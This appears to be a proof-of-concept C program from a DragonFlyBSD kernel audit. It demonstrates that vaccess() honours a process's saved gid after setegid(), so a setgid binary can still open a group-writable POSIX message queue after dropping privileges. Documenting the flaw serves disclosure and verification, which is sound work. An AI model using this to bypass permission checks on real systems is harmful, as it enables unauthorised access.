DragonFlyBSD Kernel Audit
DF-2697 / gdrop.c
← back to finding ↓ download raw
/*
 * DF-2697 PoC -- vaccess() honors the SAVED gid (cr_svgid) in the group
 * permission check (sys/kern/vfs_subr.c:1753).  Only in-kernel caller of
 * vaccess() is POSIX mqueue open (sys/kern/sys_mqueue.c:558).
 *
 * Victim binary.  Installed by root in TWO forms:
 *   /gdrop       chgrp wheel + chmod 2755  (setgid wheel)
 *   /gdrop_plain chmod 755                  (control)
 *
 * Both drop the effective gid back to the real gid via setegid(), then try
 * to open a wheel-group-writable (0660, root:wheel) POSIX message queue.
 *
 * POSIX / correct-kernel behaviour: EACCES in BOTH cases
 *   (owner uid != 0; egid == 1001; supplementary groups == {1001}).
 *
 * Buggy DragonFly behaviour: the setgid copy SUCCEEDS, because
 * vaccess() grants the group branch when cred->cr_svgid == gid and
 * setegid() (kern_prot.c:649-652) never clears cr_svgid.
 *
 * usage: gdrop <drop|keep> <mqname>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <mqueue.h>

int
main(int argc, char **argv)
{
	mqd_t mqd;
	const char *name;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <drop|keep> <mqname>\n", argv[0]);
		exit(2);
	}
	name = argv[2];

	printf("uid=%d gid(r)=%d egid=%d\n",
	       (int)getuid(), (int)getgid(), (int)getegid());

	if (strcmp(argv[1], "drop") == 0) {
		if (setegid(getgid()) != 0) {
			fprintf(stderr, "setegid(%d) failed: %s\n",
				(int)getgid(), strerror(errno));
			exit(2);
		}
	}
	printf("after setegid: egid=%d\n", (int)getegid());

	mqd = mq_open(name, O_WRONLY);
	if (mqd == (mqd_t)-1) {
		printf("mq_open(%s, O_WRONLY) = -1 errno=%d (%s)\n",
		       name, errno, strerror(errno));
		printf("VERDICT: access correctly DENIED\n");
		return (1);
	}
	printf("mq_open(%s, O_WRONLY) = %d -- SUCCESS\n", name, (int)mqd);
	mq_close(mqd);
	printf("VERDICT: access GRANTED after egid drop (BUG: cr_svgid honored)\n");
	return (0);
}